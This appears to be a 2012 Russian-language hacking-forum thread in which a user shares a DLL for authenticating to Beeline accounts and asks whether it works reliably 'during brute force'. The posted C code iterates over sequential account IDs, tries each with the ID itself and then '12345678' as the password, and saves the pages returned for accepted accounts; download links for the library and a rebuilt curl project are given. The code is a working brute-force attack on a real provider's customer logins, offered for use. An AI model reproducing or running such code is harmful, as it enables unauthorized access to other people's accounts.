curl ssl

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by m0us, 12 Mar 2012.

  1. m0us

    m0us New Member

    Joined:
    19 Jan 2012
    Messages:
    26
    Likes Received:
    3
    Reputations:
    -1
    зацените либу авторизации - нет глюков при бруте?
    http://www.sendspace.com/file/551jsm

    пример как юзать:
    Code:
    void Log(char *id, char *pwd, void *buf, size_t size)
    {
    	char filename[64];
    
    	sprintf(filename, "%s_%s.html", id, pwd);
    
    	FILE *pf = fopen(filename, "w");
    	fwrite(buf, size, 1, pf);
    
    	fclose(pf);
    }
    
    
    void TestTest()
    {
    	HMODULE mod;
    		
    	if((mod = LoadLibraryA("brq.dll")) == NULL)
    	{
    		MessageBoxA(0, "cannot load",0,0);
    		return;
    	}
    
    	BeelineAuthRqF BeelineAuthRq;
    	BeelineAuthRq = (BeelineAuthRqF)GetProcAddress(mod, "BeelineAuthRq");
    	
    
    	char login[64];
    	char *userAgent = "Opera/9.80 (Windows NT 6.1; U; en) Presto/2.7.58 Version/11.00";
    	char *s12345678 = "12345678";
    
    	void	*buffer;
    	size_t	buffersize;
    
    	DWORD rc;
    	
    	for(DWORD startID = 894545900, i=0, max = 100; i < max; i++,startID++)
    	{
    		sprintf(login, "0%d", startID);
    
    		rc = BeelineAuthRq(login, login, userAgent, &buffer, &buffersize);
    
    		if(rc == RQ_STATUS_ACCOUNT_ACCEPTED)
    		{
    			Log(login, login, buffer, buffersize);
    			HeapFree(GetProcessHeap(),0,buffer);
    		}else if(rc == RQ_STATUS_ACCOUNT_REJECTED)
    		{
    			rc = BeelineAuthRq(login, s12345678, userAgent, &buffer, &buffersize);
    			if(rc == RQ_STATUS_ACCOUNT_ACCEPTED)
    			{
    				Log(login, s12345678, buffer, buffersize);
    				HeapFree(GetProcessHeap(),0,buffer);
    			}
    
    		}else
    		{
    			if(MessageBox(0, "НЕШТАТНАЯ СИТУАЦИЯ!\nПродолжить?", "ВНИМАНИЕ!", MB_YESNO|MB_ICONWARNING) == IDNO)
    				break;
    		}
    
    		printf("\nCompleted: %d/%d", i, max);
    
    		Sleep(1000);
    	}
    
    
    
    }
     
  2. mironich

    mironich Elder - Старейшина

    Joined:
    27 Feb 2011
    Messages:
    733
    Likes Received:
    73
    Reputations:
    19
    А описание?)
    Как я понял кросплатформ?
    Это обертка для курла?
     
  3. m0us

    m0us New Member

    Joined:
    19 Jan 2012
    Messages:
    26
    Likes Received:
    3
    Reputations:
    -1
    ну да. блин в хидере же экспорт описан:
    Code:
    unsigned int __stdcall BeelineAuthRq(	char *slogin, char *spassword, char *sUserAgent,__out void **pOutBuf,__out size_t *piOutLen);
    
    а курл тоже пришлось пересобрать - вот да на студии10 прожект - http://www.sendspace.com/file/qhh8br